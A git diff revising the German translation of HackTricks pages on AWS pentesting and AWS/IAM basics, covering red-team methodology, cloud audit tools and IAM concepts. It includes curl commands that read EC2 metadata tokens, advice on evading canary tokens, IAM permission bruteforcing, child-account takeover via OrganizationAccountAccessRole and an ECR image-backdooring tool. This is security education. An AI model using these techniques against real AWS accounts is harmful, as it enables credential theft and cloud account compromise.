+- **Fehlkonfiguration:** Präfixierung sensibler Variablen mit `NEXT_PUBLIC_`, wodurch sie auf der Client-Seite zugänglich werden.
+- **Risiko:** Offenlegung von API-Schlüsseln, Datenbankanmeldeinformationen oder anderen sensiblen Daten für die Öffentlichkeit, was zu Datenverletzungen führt.
+- **Sensible deaktiviert**
+- **Fehlkonfiguration:** Wenn deaktiviert (Standard) ist es möglich, die Werte der generierten Geheimnisse zu lesen.
+- **Risiko:** Erhöhte Wahrscheinlichkeit einer versehentlichen Offenlegung oder unbefugten Zugriffs auf sensible Informationen.
+
+{{#include ../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/README.md b/src/pentesting-cloud/aws-security/README.md
index 6bd4ce934..1ce50ab6d 100644
--- a/src/pentesting-cloud/aws-security/README.md
+++ b/src/pentesting-cloud/aws-security/README.md
@@ -2,7 +2,7 @@
{{#include ../../banners/hacktricks-training.md}}
-## Grundlegende Informationen
+## Grundinformationen
**Bevor Sie mit dem Pentesting** einer **AWS**-Umgebung beginnen, gibt es einige **grundlegende Dinge, die Sie wissen müssen**, wie AWS funktioniert, um zu verstehen, was Sie tun müssen, wie Sie Fehlkonfigurationen finden und wie Sie diese ausnutzen können.
@@ -27,9 +27,9 @@ Tools zur Simulation von Angriffen:
- [https://github.com/Datadog/stratus-red-team/](https://github.com/Datadog/stratus-red-team/)
- [https://github.com/sbasu7241/AWS-Threat-Simulation-and-Detection/tree/main](https://github.com/sbasu7241/AWS-Threat-Simulation-and-Detection/tree/main)
-## AWS Pentester/Red Team Methodik
+## AWS Pentester/Red Team Methodologie
-Um eine AWS-Umgebung zu auditieren, ist es sehr wichtig zu wissen: welche **Dienste verwendet werden**, was **exponiert** ist, wer **Zugriff** auf was hat und wie interne AWS-Dienste mit **externen Diensten** verbunden sind.
+Um eine AWS-Umgebung zu auditieren, ist es sehr wichtig zu wissen: welche **Dienste verwendet werden**, was **exponiert wird**, wer **Zugriff** auf was hat und wie interne AWS-Dienste mit **externen Diensten** verbunden sind.
Aus der Sicht eines Red Teams ist der **erste Schritt, um eine AWS-Umgebung zu kompromittieren**, die **Erlangung von Anmeldeinformationen**. Hier sind einige Ideen, wie Sie das tun können:
@@ -51,20 +51,20 @@ Oder durch **Kompromittierung eines nicht authentifizierten Dienstes**, der expo
aws-unauthenticated-enum-access/
{{#endref}}
-Oder wenn Sie eine **Überprüfung** durchführen, könnten Sie einfach **nach Anmeldeinformationen fragen** mit diesen Rollen:
+Oder wenn Sie eine **Überprüfung** durchführen, könnten Sie einfach **nach Anmeldeinformationen** mit diesen Rollen fragen:
{{#ref}}
aws-permissions-for-a-pentest.md
{{#endref}}
> [!NOTE]
-> Nachdem Sie es geschafft haben, Anmeldeinformationen zu erhalten, müssen Sie wissen, **wem diese Anmeldeinformationen gehören** und **auf was sie Zugriff haben**, daher müssen Sie einige grundlegende Aufzählungen durchführen:
+> Nachdem Sie Anmeldeinformationen erhalten haben, müssen Sie wissen, **wem diese Anmeldeinformationen gehören** und **auf was sie Zugriff haben**, daher müssen Sie einige grundlegende Aufzählungen durchführen:
## Grundlegende Aufzählung
### SSRF
-Wenn Sie ein SSRF auf einer Maschine innerhalb von AWS gefunden haben, überprüfen Sie diese Seite für Tricks:
+Wenn Sie ein SSRF auf einem Rechner innerhalb von AWS gefunden haben, überprüfen Sie diese Seite für Tricks:
{{#ref}}
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf
@@ -89,8 +89,8 @@ TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metad
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/dynamic/instance-identity/document
```
> [!CAUTION]
-> Beachten Sie, dass Unternehmen **Canary-Tokens** verwenden könnten, um zu identifizieren, wann **Tokens gestohlen und verwendet werden**. Es wird empfohlen, zu überprüfen, ob ein Token ein Canary-Token ist oder nicht, bevor Sie es verwenden.\
-> Für weitere Informationen [**diese Seite überprüfen**](aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md#honeytokens-bypass).
+> Beachten Sie, dass Unternehmen **Canary-Tokens** verwenden könnten, um zu identifizieren, wann **Tokens gestohlen und verwendet werden**. Es wird empfohlen, zu überprüfen, ob ein Token ein Canary-Token ist, bevor Sie es verwenden.\
+> Für weitere Informationen [**sehen Sie sich diese Seite an**](aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md#honeytokens-bypass).
### Org Enumeration
@@ -102,8 +102,8 @@ aws-services/aws-organizations-enum.md
Wenn Sie genügend Berechtigungen haben, wird das **Überprüfen der Berechtigungen jeder Entität im AWS-Konto** Ihnen helfen zu verstehen, was Sie und andere Identitäten tun können und wie Sie **Berechtigungen eskalieren** können.
-Wenn Sie nicht genügend Berechtigungen haben, um IAM zu enumerieren, können Sie sie **stehlen oder bruteforcen**, um sie herauszufinden.\
-Überprüfen Sie **wie man die Enumeration und das Brute-Forcing durchführt** in:
+Wenn Sie nicht genügend Berechtigungen haben, um IAM zu enumerieren, können Sie **sie bruteforcen**, um sie herauszufinden.\
+Überprüfen Sie **wie man die Enumeration und das Bruteforcing durchführt** in:
{{#ref}}
aws-services/aws-iam-enum.md
@@ -123,7 +123,7 @@ aws-services/
Beachten Sie, dass Sie **nicht** die gesamte Arbeit **manuell** durchführen müssen. Unten in diesem Beitrag finden Sie einen **Abschnitt über** [**automatische Tools**](./#automated-tools).
-Darüber hinaus könnten Sie in dieser Phase **weitere Dienste entdeckt haben, die für nicht authentifizierte Benutzer exponiert sind**, die Sie möglicherweise ausnutzen können:
+Darüber hinaus könnten Sie in diesem Stadium **weitere Dienste entdeckt haben, die für nicht authentifizierte Benutzer exponiert sind**, die Sie möglicherweise ausnutzen können:
{{#ref}}
aws-unauthenticated-enum-access/
@@ -131,7 +131,7 @@ aws-unauthenticated-enum-access/
## Privilege Escalation
-Wenn Sie **mindestens Ihre eigenen Berechtigungen** über verschiedene Ressourcen überprüfen können, könnten Sie **überprüfen, ob Sie weitere Berechtigungen erhalten können**. Sie sollten sich mindestens auf die in folgenden Abschnitt angegebenen Berechtigungen konzentrieren:
+Wenn Sie **mindestens Ihre eigenen Berechtigungen** über verschiedene Ressourcen überprüfen können, könnten Sie **überprüfen, ob Sie weitere Berechtigungen erhalten können**. Sie sollten sich mindestens auf die in:
{{#ref}}
aws-privilege-escalation/
@@ -139,10 +139,10 @@ aws-privilege-escalation/
## Publicly Exposed Services
-Während Sie AWS-Dienste enumerieren, haben Sie möglicherweise einige von ihnen gefunden, die **Elemente ins Internet exponieren** (VM/Container-Ports, Datenbanken oder Warteschlangendienste, Snapshots oder Buckets...).\
-Als Pentester/Red Teamer sollten Sie immer überprüfen, ob Sie **sensible Informationen / Schwachstellen** auf ihnen finden können, da sie Ihnen **weiteren Zugang zum AWS-Konto** bieten könnten.
+Während Sie AWS-Dienste enumerieren, haben Sie möglicherweise einige gefunden, die **Elemente ins Internet exponieren** (VM/Container-Ports, Datenbanken oder Warteschlangendienste, Snapshots oder Buckets...).\
+Als Pentester/Red Teamer sollten Sie immer überprüfen, ob Sie **sensible Informationen / Schwachstellen** darin finden können, da sie Ihnen **weiteren Zugang zum AWS-Konto** verschaffen könnten.
-In diesem Buch sollten Sie **Informationen** darüber finden, wie man **exponierte AWS-Dienste findet und wie man sie überprüft**. Über das Finden von **Schwachstellen in exponierten Netzwerkdiensten** empfehle ich Ihnen, nach dem spezifischen **Dienst** zu **suchen** in:
+In diesem Buch sollten Sie **Informationen** darüber finden, wie man **exponierte AWS-Dienste findet und wie man sie überprüft**. Über das Finden von **Schwachstellen in exponierten Netzwerkdiensten** würde ich Ihnen empfehlen, nach dem spezifischen **Dienst** in:
{{#ref}}
https://book.hacktricks.xyz/
@@ -150,7 +150,7 @@ https://book.hacktricks.xyz/
## Compromising the Organization
-### From the root/management account
+### Vom Root-/Management-Konto
Wenn das Management-Konto neue Konten in der Organisation erstellt, wird eine **neue Rolle** im neuen Konto erstellt, standardmäßig benannt **`OrganizationAccountAccessRole`** und gibt der **Management-Konto** die **AdministratorAccess**-Richtlinie, um auf das neue Konto zuzugreifen.
@@ -159,9 +159,9 @@ Wenn das Management-Konto neue Konten in der Organisation erstellt, wird eine **
Um also als Administrator auf ein Kindkonto zuzugreifen, benötigen Sie:
- **Kompromittieren** Sie das **Management**-Konto und finden Sie die **ID** der **Kindkonten** und die **Namen** der **Rolle** (OrganizationAccountAccessRole standardmäßig), die dem Management-Konto den Zugriff als Administrator ermöglicht.
-- Um Kindkonten zu finden, gehen Sie zum Organisationsbereich in der AWS-Konsole oder führen Sie `aws organizations list-accounts` aus.
+- Um Kindkonten zu finden, gehen Sie zum Abschnitt Organisationen in der AWS-Konsole oder führen Sie `aws organizations list-accounts` aus.
- Sie können die Namen der Rollen nicht direkt finden, also überprüfen Sie alle benutzerdefinierten IAM-Richtlinien und suchen Sie nach solchen, die **`sts:AssumeRole` über die zuvor entdeckten Kindkonten** erlauben.
-- **Kompromittieren** Sie einen **Principal** im Management-Konto mit **`sts:AssumeRole`-Berechtigung über die Rolle in den Kindkonten** (auch wenn das Konto jedem im Management-Konto erlaubt, sich auszugeben, da es sich um ein externes Konto handelt, sind spezifische `sts:AssumeRole`-Berechtigungen erforderlich).
+- **Kompromittieren** Sie einen **Principal** im Management-Konto mit **`sts:AssumeRole`-Berechtigung über die Rolle in den Kindkonten** (auch wenn das Konto jedem im Management-Konto erlaubt, sich auszugeben, sind spezifische `sts:AssumeRole`-Berechtigungen erforderlich, da es sich um ein externes Konto handelt).
## Automated Tools
@@ -255,7 +255,7 @@ pacu
> exec iam__enum_permissions # Get permissions
> exec iam__privesc_scan # List privileged permissions
```
-- [**PMapper**](https://github.com/nccgroup/PMapper): Principal Mapper (PMapper) ist ein Skript und eine Bibliothek zur Identifizierung von Risiken in der Konfiguration von AWS Identity and Access Management (IAM) für ein AWS-Konto oder eine AWS-Organisation. Es modelliert die verschiedenen IAM-Benutzer und -Rollen in einem Konto als gerichteten Graphen, was Überprüfungen auf **privilege escalation** und auf alternative Wege ermöglicht, die ein Angreifer nutzen könnte, um Zugriff auf eine Ressource oder Aktion in AWS zu erhalten. Sie können die **permissions used to find privesc** Pfade in den Dateien, die mit `_edges.py` enden, in [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing) überprüfen.
+- [**PMapper**](https://github.com/nccgroup/PMapper): Principal Mapper (PMapper) ist ein Skript und eine Bibliothek zur Identifizierung von Risiken in der Konfiguration von AWS Identity and Access Management (IAM) für ein AWS-Konto oder eine AWS-Organisation. Es modelliert die verschiedenen IAM-Benutzer und -Rollen in einem Konto als gerichteten Graphen, was Überprüfungen auf **Privilegienausweitung** und auf alternative Wege ermöglicht, die ein Angreifer nutzen könnte, um Zugriff auf eine Ressource oder Aktion in AWS zu erhalten. Sie können die **Berechtigungen überprüfen, die verwendet werden, um privesc**-Pfad in den Dateinamen, die mit `_edges.py` enden, in [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing)
```bash
# Install
pip install principalmapper
@@ -278,7 +278,7 @@ pmapper --profile dev orgs create
pmapper --profile dev orgs display
```
- [**cloudsplaining**](https://github.com/salesforce/cloudsplaining): Cloudsplaining ist ein AWS IAM-Sicherheitsbewertungstool, das Verstöße gegen das Prinzip der minimalen Berechtigung identifiziert und einen risikopriorisierten HTML-Bericht erstellt.\
-Es zeigt Ihnen potenziell **überprivilegierte** Kunden, Inline- und AWS-**Richtlinien** und welche **Prinzipien Zugriff darauf haben**. (Es überprüft nicht nur auf privesc, sondern auch auf andere interessante Berechtigungen, die empfohlen werden zu verwenden).
+Es zeigt Ihnen potenziell **überprivilegierte** Kunden, Inline- und AWS-**Richtlinien** und welche **Prinzipale Zugriff darauf haben**. (Es überprüft nicht nur auf Privesc, sondern auch auf andere interessante Berechtigungen, die empfohlen werden zu verwenden).
```bash
# Install
pip install cloudsplaining
@@ -291,19 +291,19 @@ cloudsplaining download --profile dev
cloudsplaining scan --input-file /private/tmp/cloudsplaining/dev.json --output /tmp/files/
```
- [**cloudjack**](https://github.com/prevade/cloudjack): CloudJack bewertet AWS-Konten auf **Subdomain-Hijacking-Schwachstellen** aufgrund von entkoppelten Route53- und CloudFront-Konfigurationen.
-- [**ccat**](https://github.com/RhinoSecurityLabs/ccat): Liste ECR-Repos -> Ziehe ECR-Repo -> Hintertür einfügen -> Hintertür-Image pushen
-- [**Dufflebag**](https://github.com/bishopfox/dufflebag): Dufflebag ist ein Tool, das durch öffentliche Elastic Block Storage (**EBS**) Snapshots nach Geheimnissen **sucht**, die möglicherweise versehentlich hinterlassen wurden.
+- [**ccat**](https://github.com/RhinoSecurityLabs/ccat): Liste ECR-Repos -> Ziehe ECR-Repo -> Hintertür -> Pushe das hintertürige Image
+- [**Dufflebag**](https://github.com/bishopfox/dufflebag): Dufflebag ist ein Tool, das **in öffentlichen Elastic Block Storage (EBS) Snapshots nach Geheimnissen sucht**, die möglicherweise versehentlich hinterlassen wurden.
### Audit
-- [**cloudsploit**](https://github.com/aquasecurity/cloudsploit)**:** CloudSploit von Aqua ist ein Open-Source-Projekt, das entwickelt wurde, um **Sicherheitsrisiken in Cloud-Infrastruktur** Konten zu erkennen, einschließlich: Amazon Web Services (AWS), Microsoft Azure, Google Cloud Platform (GCP), Oracle Cloud Infrastructure (OCI) und GitHub (Es sucht nicht nach ShadowAdmins).
+- [**cloudsploit**](https://github.com/aquasecurity/cloudsploit)**:** CloudSploit von Aqua ist ein Open-Source-Projekt, das entwickelt wurde, um **Sicherheitsrisiken in Cloud-Infrastruktur**-Konten zu erkennen, einschließlich: Amazon Web Services (AWS), Microsoft Azure, Google Cloud Platform (GCP), Oracle Cloud Infrastructure (OCI) und GitHub (Es sucht nicht nach ShadowAdmins).
```bash
./index.js --csv=file.csv --console=table --config ./config.js
# Compiance options: --compliance {hipaa,cis,cis1,cis2,pci}
## use "cis" for cis level 1 and 2
```
-- [**Prowler**](https://github.com/prowler-cloud/prowler): Prowler ist ein Open Source-Sicherheitswerkzeug zur Durchführung von Bewertungen, Audits, Incident-Response, kontinuierlicher Überwachung, Härtung und forensischer Bereitschaft in Bezug auf AWS-Sicherheitsbest Practices.
+- [**Prowler**](https://github.com/prowler-cloud/prowler): Prowler ist ein Open Source-Sicherheitswerkzeug zur Durchführung von Bewertungen, Audits, Incident Response, kontinuierlicher Überwachung, Härtung und forensischer Bereitschaft in Bezug auf AWS-Sicherheitsbest Practices.
```bash
# Install python3, jq and git
# Install
@@ -318,7 +318,7 @@ prowler aws --profile custom-profile [-M csv json json-asff html]
```bash
cloudfox aws --profile [profile-name] all-checks
```
-- [**ScoutSuite**](https://github.com/nccgroup/ScoutSuite): Scout Suite ist ein Open-Source-Multi-Cloud-Sicherheitsprüfungswerkzeug, das die Bewertung der Sicherheitslage von Cloud-Umgebungen ermöglicht.
+- [**ScoutSuite**](https://github.com/nccgroup/ScoutSuite): Scout Suite ist ein Open-Source-Tool zur Sicherheitsprüfung für mehrere Clouds, das die Bewertung der Sicherheitslage von Cloud-Umgebungen ermöglicht.
```bash
# Install
virtualenv -p python3 venv
@@ -335,8 +335,8 @@ scout aws -p dev
### Ständige Prüfung
- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodian ist eine Regel-Engine zur Verwaltung öffentlicher Cloud-Konten und -Ressourcen. Es ermöglicht Benutzern, **Richtlinien zu definieren, um eine gut verwaltete Cloud-Infrastruktur** zu ermöglichen, die sowohl sicher als auch kosteneffizient ist. Es konsolidiert viele der Ad-hoc-Skripte, die Organisationen haben, in ein leichtgewichtiges und flexibles Tool mit einheitlichen Metriken und Berichterstattung.
-- [**pacbot**](https://github.com/tmobile/pacbot)**: Policy as Code Bot (PacBot)** ist eine Plattform für **kontinuierliche Compliance-Überwachung, Compliance-Berichterstattung und Sicherheitsautomatisierung für die Cloud**. In PacBot werden Sicherheits- und Compliance-Richtlinien als Code implementiert. Alle von PacBot entdeckten Ressourcen werden gegen diese Richtlinien bewertet, um die Konformität mit den Richtlinien zu überprüfen. Das PacBot **Auto-Fix**-Framework bietet die Möglichkeit, automatisch auf Richtlinienverletzungen zu reagieren, indem vordefinierte Maßnahmen ergriffen werden.
-- [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlert ist ein serverloses, **Echtzeit**-Datenanalyse-Framework, das es Ihnen ermöglicht, **Daten aus jeder Umgebung zu erfassen, zu analysieren und zu alarmieren**, **unter Verwendung von Datenquellen und Alarmierungslogik, die Sie definieren**. Computer-Sicherheitsteams verwenden StreamAlert, um täglich Terabytes von Protokolldaten auf Vorfallserkennung und -reaktion zu scannen.
+- [**pacbot**](https://github.com/tmobile/pacbot)**: Policy as Code Bot (PacBot)** ist eine Plattform für **kontinuierliche Compliance-Überwachung, Compliance-Berichterstattung und Sicherheitsautomatisierung für die Cloud**. In PacBot werden Sicherheits- und Compliance-Richtlinien als Code implementiert. Alle von PacBot entdeckten Ressourcen werden anhand dieser Richtlinien bewertet, um die Konformität mit den Richtlinien zu überprüfen. Das PacBot **Auto-Fix**-Framework bietet die Möglichkeit, automatisch auf Richtlinienverletzungen zu reagieren, indem vordefinierte Aktionen ausgeführt werden.
+- [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlert ist ein serverloses, **Echtzeit**-Datenanalyse-Framework, das es Ihnen ermöglicht, **Daten aus jeder Umgebung zu erfassen, zu analysieren und zu alarmieren**, **unter Verwendung von Datenquellen und Alarmierungslogik, die Sie definieren**. Computer-Sicherheitsteams verwenden StreamAlert, um täglich Terabytes von Protokolldaten auf Vorfälle zu scannen und darauf zu reagieren.
## DEBUG: AWS CLI-Anfragen erfassen
```bash
diff --git a/src/pentesting-cloud/aws-security/aws-basic-information/README.md b/src/pentesting-cloud/aws-security/aws-basic-information/README.md
index 223b5dfc8..c4d965e51 100644
--- a/src/pentesting-cloud/aws-security/aws-basic-information/README.md
+++ b/src/pentesting-cloud/aws-security/aws-basic-information/README.md
@@ -31,9 +31,9 @@ Das Verwaltungskonto hat die **Verantwortlichkeiten eines Zahlungskontos** und i
```
aws organizations create-account --account-name testingaccount --email testingaccount@lalala1233fr.com
```
-### **Organisationseinheiten**
+### **Organisations-Einheiten**
-Konten können in **Organisationseinheiten (OU)** gruppiert werden. Auf diese Weise können Sie **Richtlinien** für die Organisationseinheit erstellen, die auf **alle untergeordneten Konten angewendet werden**. Beachten Sie, dass eine OU andere OUs als Kinder haben kann.
+Konten können in **Organisations-Einheiten (OU)** gruppiert werden. Auf diese Weise können Sie **Richtlinien** für die Organisations-Einheit erstellen, die auf **alle untergeordneten Konten angewendet werden**. Beachten Sie, dass eine OU andere OUs als Kinder haben kann.
```bash
# You can get the root id from aws organizations list-roots
aws organizations create-organizational-unit --parent-id r-lalala --name TestOU
@@ -62,7 +62,7 @@ modifiziert werden.
- Verweigern, dass Backups gelöscht werden.
- Verweigern, IAM-Benutzer und Zugriffsschlüssel zu erstellen
-Finden Sie **JSON-Beispiele** unter [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html)
+Finden Sie **JSON-Beispiele** in [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html)
### ARN
@@ -71,14 +71,14 @@ Finden Sie **JSON-Beispiele** unter [https://docs.aws.amazon.com/organizations/l
arn:partition:service:region:account-id:resource-type/resource-id
arn:aws:elasticbeanstalk:us-west-1:123456789098:environment/App/Env
```
-Hinweis: Es gibt 4 Partitionen in AWS, aber nur 3 Möglichkeiten, sie zu benennen:
+Beachten Sie, dass es 4 Partitionen in AWS gibt, aber nur 3 Möglichkeiten, sie zu benennen:
- AWS Standard: `aws`
- AWS China: `aws-cn`
- AWS US public Internet (GovCloud): `aws-us-gov`
- AWS Secret (US Classified): `aws`
-## IAM - Identitäts- und Zugriffsmanagement
+## IAM - Identity and Access Management
IAM ist der Dienst, der es Ihnen ermöglicht, **Authentifizierung**, **Autorisierung** und **Zugriffskontrolle** innerhalb Ihres AWS-Kontos zu verwalten.
@@ -86,33 +86,33 @@ IAM ist der Dienst, der es Ihnen ermöglicht, **Authentifizierung**, **Autorisie
- **Autorisierung** - Bestimmt, auf was eine Identität innerhalb eines Systems zugreifen kann, nachdem sie authentifiziert wurde.
- **Zugriffskontrolle** - Die Methode und der Prozess, wie der Zugriff auf eine sichere Ressource gewährt wird.
-IAM kann durch seine Fähigkeit definiert werden, die Authentifizierungs-, Autorisierungs- und Zugriffskontrollmechanismen von Identitäten zu Ihren Ressourcen innerhalb Ihres AWS-Kontos zu verwalten, zu steuern und zu regeln.
+IAM kann durch seine Fähigkeit definiert werden, Authentifizierungs-, Autorisierungs- und Zugriffskontrollmechanismen von Identitäten zu Ihren Ressourcen innerhalb Ihres AWS-Kontos zu verwalten, zu steuern und zu regeln.
-### [AWS-Konto Root-Benutzer](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html)
+### [AWS account root user](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html)
-Wenn Sie zum ersten Mal ein Amazon Web Services (AWS) Konto erstellen, beginnen Sie mit einer einzelnen Anmeldeidentität, die **vollständigen Zugriff auf alle** AWS-Dienste und -Ressourcen im Konto hat. Dies ist der AWS-Konto _**Root-Benutzer**_ und wird durch die Anmeldung mit der **E-Mail-Adresse und dem Passwort, die Sie zur Erstellung des Kontos verwendet haben**, aufgerufen.
+Wenn Sie zum ersten Mal ein Amazon Web Services (AWS) Konto erstellen, beginnen Sie mit einer einzelnen Anmeldeidentität, die **vollständigen Zugriff auf alle** AWS-Dienste und -Ressourcen im Konto hat. Dies ist der _**Root-Benutzer**_ des AWS-Kontos und wird durch die Anmeldung mit der **E-Mail-Adresse und dem Passwort, die Sie zur Erstellung des Kontos verwendet haben**, aufgerufen.
Beachten Sie, dass ein neuer **Admin-Benutzer** **weniger Berechtigungen als der Root-Benutzer** hat.
Aus sicherheitstechnischer Sicht wird empfohlen, andere Benutzer zu erstellen und diesen zu vermeiden.
-### [IAM-Benutzer](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html)
+### [IAM users](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html)
-Ein IAM _Benutzer_ ist eine Entität, die Sie in AWS erstellen, um **die Person oder Anwendung** darzustellen, die sie verwendet, um **mit AWS zu interagieren**. Ein Benutzer in AWS besteht aus einem Namen und Anmeldeinformationen (Passwort und bis zu zwei Zugriffsschlüssel).
+Ein IAM _Benutzer_ ist eine Entität, die Sie in AWS erstellen, um **die Person oder Anwendung** zu **repräsentieren, die damit interagiert**. Ein Benutzer in AWS besteht aus einem Namen und Anmeldeinformationen (Passwort und bis zu zwei Zugriffsschlüssel).
-Wenn Sie einen IAM-Benutzer erstellen, gewähren Sie ihm **Berechtigungen**, indem Sie ihn zu einer **Gruppe von Benutzern** machen, die geeignete Berechtigungspolicen angehängt hat (empfohlen), oder indem Sie **direkt Richtlinien** an den Benutzer anhängen.
+Wenn Sie einen IAM-Benutzer erstellen, gewähren Sie ihm **Berechtigungen**, indem Sie ihn zu einer **Mitgliedschaft in einer Benutzergruppe** machen, die geeignete Berechtigungspolicen angehängt hat (empfohlen), oder indem Sie **Richtlinien direkt** an den Benutzer anhängen.
-Benutzer können **MFA aktiviert haben, um sich** über die Konsole anzumelden. API-Token von MFA-aktivierten Benutzern sind nicht durch MFA geschützt. Wenn Sie den **Zugriff der API-Schlüssel eines Benutzers mit MFA einschränken** möchten, müssen Sie in der Richtlinie angeben, dass zur Durchführung bestimmter Aktionen MFA vorhanden sein muss (Beispiel [**hier**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)).
+Benutzer können **MFA aktivieren, um sich** über die Konsole anzumelden. API-Token von MFA-aktivierten Benutzern sind nicht durch MFA geschützt. Wenn Sie den **Zugriff auf die API-Schlüssel eines Benutzers mithilfe von MFA einschränken** möchten, müssen Sie in der Richtlinie angeben, dass für die Ausführung bestimmter Aktionen MFA vorhanden sein muss (Beispiel [**hier**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)).
#### CLI
-- **Zugriffsschlüssel-ID**: 20 zufällige Großbuchstaben-Ziffern wie AKHDNAPO86BSHKDIRYT
-- **Geheime Zugriffsschlüssel-ID**: 40 zufällige Groß- und Kleinbuchstaben: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (Es ist nicht möglich, verlorene geheime Zugriffsschlüssel-IDs wiederherzustellen).
+- **Access Key ID**: 20 zufällige Großbuchstaben-Zahlenkombinationen wie AKHDNAPO86BSHKDIRYT
+- **Secret access key ID**: 40 zufällige Groß- und Kleinbuchstaben: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (Es ist nicht möglich, verlorene Secret Access Key IDs wiederherzustellen).
-Wann immer Sie den **Zugriffsschlüssel ändern** müssen, sollten Sie diesen Prozess befolgen:\
+Wann immer Sie den **Access Key** **ändern** müssen, sollten Sie diesen Prozess befolgen:\
NAN;_Create a new access key -> Apply the new key to system/application -> mark original one as inactive -> Test and verify new access key is working -> Delete old access key_
-### MFA - Multi-Faktor-Authentifizierung
+### MFA - Multi Factor Authentication
Es wird verwendet, um **einen zusätzlichen Faktor für die Authentifizierung** zusätzlich zu Ihren bestehenden Methoden, wie Passwort, zu erstellen und somit ein mehrstufiges Authentifizierungsniveau zu schaffen.\
Sie können eine **kostenlose virtuelle Anwendung oder ein physisches Gerät** verwenden. Sie können Apps wie Google Authenticator kostenlos verwenden, um ein MFA in AWS zu aktivieren.
@@ -128,20 +128,20 @@ Beachten Sie, dass **`AssumeRole`-Anmeldeinformationen diese Informationen nicht
```bash
aws sts get-session-token --serial-number --token-code
```
-As [**hier angegeben**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html), gibt es viele verschiedene Fälle, in denen **MFA nicht verwendet werden kann**.
+Wie [**hier angegeben**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html), gibt es viele verschiedene Fälle, in denen **MFA nicht verwendet werden kann**.
### [IAM-Benutzergruppen](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html)
-Eine IAM [Benutzergruppe](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) ist eine Möglichkeit, **Richtlinien gleichzeitig mehreren Benutzern zuzuordnen**, was die Verwaltung der Berechtigungen für diese Benutzer erleichtern kann. **Rollen und Gruppen können kein Teil einer Gruppe sein**.
+Eine IAM [Benutzergruppe](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) ist eine Möglichkeit, **Richtlinien mehreren Benutzern** gleichzeitig zuzuordnen, was die Verwaltung der Berechtigungen für diese Benutzer erleichtern kann. **Rollen und Gruppen können kein Teil einer Gruppe sein**.
-Sie können eine **identitätsbasierte Richtlinie an eine Benutzergruppe anhängen**, sodass alle **Benutzer** in der Benutzergruppe **die Berechtigungen der Richtlinie erhalten**. Sie **können** eine **Benutzergruppe** nicht als **`Principal`** in einer **Richtlinie** (wie einer ressourcenbasierten Richtlinie) identifizieren, da Gruppen sich auf Berechtigungen beziehen, nicht auf Authentifizierung, und Principals authentifizierte IAM-Entitäten sind.
+Sie können eine **identitätsbasierte Richtlinie an eine Benutzergruppe** anhängen, sodass alle **Benutzer** in der Benutzergruppe **die Berechtigungen der Richtlinie erhalten**. Sie **können** eine **Benutzergruppe** nicht als **`Principal`** in einer **Richtlinie** (wie einer ressourcenbasierten Richtlinie) identifizieren, da Gruppen sich auf Berechtigungen beziehen, nicht auf Authentifizierung, und Principals authentifizierte IAM-Entitäten sind.
Hier sind einige wichtige Merkmale von Benutzergruppen:
-- Eine Benutzer **gruppe** kann **viele Benutzer enthalten**, und ein **Benutzer** kann **zu mehreren Gruppen gehören**.
-- **Benutzergruppen können nicht geschachtelt werden**; sie können nur Benutzer enthalten, keine anderen Benutzergruppen.
-- Es gibt **keine Standardbenutzergruppe, die automatisch alle Benutzer im AWS-Konto einschließt**. Wenn Sie eine solche Benutzergruppe haben möchten, müssen Sie sie erstellen und jeden neuen Benutzer ihr zuweisen.
-- Die Anzahl und Größe der IAM-Ressourcen in einem AWS-Konto, wie die Anzahl der Gruppen und die Anzahl der Gruppen, denen ein Benutzer angehören kann, sind begrenzt. Weitere Informationen finden Sie unter [IAM- und AWS STS-Quoten](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html).
+- Eine Benutzer **gruppe** kann **viele Benutzer** enthalten, und ein **Benutzer** kann **zu mehreren Gruppen** gehören.
+- **Benutzergruppen können nicht geschachtelt** werden; sie können nur Benutzer, nicht andere Benutzergruppen enthalten.
+- Es gibt **keine Standardbenutzergruppe, die automatisch alle Benutzer im AWS-Konto** umfasst. Wenn Sie eine solche Benutzergruppe haben möchten, müssen Sie sie erstellen und jeden neuen Benutzer ihr zuweisen.
+- Die Anzahl und Größe der IAM-Ressourcen in einem AWS-Konto, wie die Anzahl der Gruppen und die Anzahl der Gruppen, denen ein Benutzer angehören kann, sind begrenzt. Weitere Informationen finden Sie unter [IAM und AWS STS-Quoten](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html).
### [IAM-Rollen](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html)
